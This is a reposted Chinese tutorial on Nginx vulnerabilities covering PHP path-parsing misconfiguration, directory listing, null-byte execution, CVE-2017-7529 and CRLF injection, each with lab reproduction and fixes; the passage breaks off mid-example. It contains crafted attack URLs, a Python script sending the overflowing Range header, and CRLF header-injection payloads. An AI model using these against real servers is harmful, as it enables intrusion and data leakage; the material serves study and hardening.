中間件漏洞篇 - Nginx篇

本文轉載自查看原文 2021-10-28 00:20 1338

nginx篇

1.介紹

Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件（IMAP/POP3）代理服務器，在BSD-like

協議下發行。其特點是占有內存少，並發能力強，事實上nginx的並發能力確實在同類型的網頁服務器中

表現較好。

3.1.文件解析漏洞

1.漏洞描述

該漏洞是由於Nginx中php配置不當而造成的，與Nginx版本無關，但在高版本的php中，由於security.limit_extensions的引入，使得該漏洞難以被成功利用。

在已經上傳了惡意1.jpg文件后，訪問/1.jpg/xxx.php，（路徑修復cgi.fix_pathinfo=1后使得Nginx將其解析為php文件傳給php-cgi程序

（傳給路徑位於SERVER["SCRIPT_FILENAME"]，修復去除路徑位於SERVER["PATH_INFO"]），但cgi程序將其解析為1.jpg並執行。

2.漏洞復現

使用phpstudy nginx php5.2

當cgi.fix_pathinfo=1時存在此漏洞

3.漏洞原理分析

Nginx的處理程序和FastCGI處理程序不同導致

Nginx拿到URI為/1.jpg/xxx.php后，識別處后綴是.php，認為是php文件，轉交給PHP FastCGI處理程

序去處理。PHP FastCGI處理程序識別該URI： /1.jpg/xxx.php不存在，按照PHP FastCGI處理程序自己

的規則，刪去最后的/xxx.php，又看/1.jpg存在，就將/1.jpg當成要執行的文件，就成功解析。

Nginx傳送給PHP FastCGI處理程序的路徑可以在phpinfo中查看【傳送路徑查看】

cgi.fix_pathinfo為php中的一個選項，默認開啟為1，作用為修理路徑，也就是對路徑URI的處理規范

當php遇到文件路勁為/1.jpg/xxx.php/ss.001時，該文件不存在，會刪除最后的/ss.001，再判

斷/1.jpg/xxx.php是否存在，若存在則將/1.jpg/xxx.php當作/1.jpg/xxx.php/ss.001文件，若不存在，則

繼續刪除最后一個路徑。刪除的多余路徑會存在PATH_INFO中，在這里為ss.001

4.修復方案

1、 將php.ini文件中的cgi.fix_pathinfo的值設置為0,這樣php再解析1.php/1.jpg這樣的目錄時,只要1.jpg
不存在就會顯示404頁面

2、 php-fpm.conf中的security.limit_extensions后面的值設置為.php

目錄遍歷漏洞

Nginx的目錄遍歷與apache一樣,屬於配置方面的問題,錯誤的配置可導致目錄遍歷與源碼泄露。

漏洞原理

修改nginx.conf,在如下圖位置添加autoindex on

autoindex on;

autoindex on 開啟目錄瀏覽 autoindex off關閉目錄瀏覽默認是關閉狀態

漏洞復現

在nginx的配置文件中

可目錄遍歷

4.漏洞修復

1.設置 autoindex off 關閉目錄瀏覽

2.刪除 autoindex on

空字節代碼執行漏洞

漏洞描述

在使用PHP-FastCGI執行php的時候，URL里面在遇到%00空字節時與FastCGI處理不一致，導致可在非

php文件中嵌入php代碼，通過訪問url+%00.php來執行其中的php代碼。如：

http://local/robots.txt.php會把robots.txt文件當作php來執行。

影響版本：

nginx 0.5.* 
nginx 0.6.* 
nginx 0.7 <= 0.7.65 
nginx 0.8 <= 0.8.37

漏洞復現

開啟nginx

在網站目錄下添加1.jpg文件

訪問該文件

4）抓包，添加%00

這里由於該圖非正常，在抓包時最后面添加..，可以讓burpsuite抓到

將請求修改為：

/1.jpg..php

發包即可

3.漏洞修復

1.在nginx虛擬機配置或者fcgi.conf配置加如下代碼：

if ($request_filename ~* (.*)\.php) { 
set $php_url $1; 
}
if (!-e $php_url.php) {
return 403; 
}

2.升級 nginx

整數溢出漏洞（CVE-2017-7529）

漏洞描述

在 Nginx 的 range filter 中存在整數溢出漏洞，可以通過帶有特殊構造的 range 的 HTTP 頭的惡意請求

引發這個整數溢出漏洞，並導致信息泄露。

該漏洞影響所有 0.5.6 - 1.13.2版本內默認配置模塊的Nginx只需要開啟緩存攻擊者即可發送惡意請求進

行遠程攻擊造成信息泄露。當Nginx服務器使用代理緩存的情況下攻擊者通過利用該漏洞可以拿到服務

器的后端真實IP或其他敏感信息。

通過我們的分析判定該漏洞利用難度低可以歸屬於low-hanging-fruit的漏洞在真實網絡攻擊中也有一定

利用價值。

漏洞復現

https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529

檢測腳本

#!/usr/bin/env python 
import sys 
import requests 
if len(sys.argv) < 2:
	print("%s url" % (sys.argv[0]))
	print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) 
	sys.exit() 
	
headers = { 
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" 
}
offset = 605 
url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset 
headers['Range'] = "bytes=-%d,-%d" % ( 
	n, 0x8000000000000000 - n) 
r = requests.get(url, headers=headers)

3.漏洞修復

升級版本

CRLF注入漏洞

漏洞描述

Nginx將傳入的url進行解碼，對其中的%0a%0d替換成換行符，導致后面的數據注入至頭部，造成CRLF

注入漏洞。

2.漏洞復現

設置https跳轉，這樣就可以接收到url，進而進行處理。在

C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf文件中添加下面一行話。

location / {
	return 302 https://$host$uri; 
}

一個正常的302跳轉包如下圖：

抓包發送repeater模式下修改包的內容（注入一個換行，在http頭里注入了cookie，如下圖）與url直接（上面）訪問抓包，他們的返回包都是一樣的。

http://192.168.189.139:8080/ Set-cookie:JSPSESSID%3Ddrops

此時的返回包如下圖：

查看惡意數據是否在響應頭中輸出

將修改后的請求包提交給服務器端，查看服務器端的響應。發現響應首部中多了個Set-Cookie字段。這就證實了該系統存在CRLF注入漏洞，因為我們輸入的惡意數據，作為響應首部字段返回給了客戶端。

這個時候這樣我們就給訪問者設置了一個SESSION，造成一個“會話固定漏洞”。當然，CRLF並不僅限於會話固定，通過注入兩個CRLF就能造成一個無視瀏覽器Filter的反射型XSS。比如一個網站接受url參數http://192.168.189.137:8080/?url=xxx，xxx放在Location后面作為一個跳轉。如果我們輸入的是：

http://192.168.189.137:8080/url= /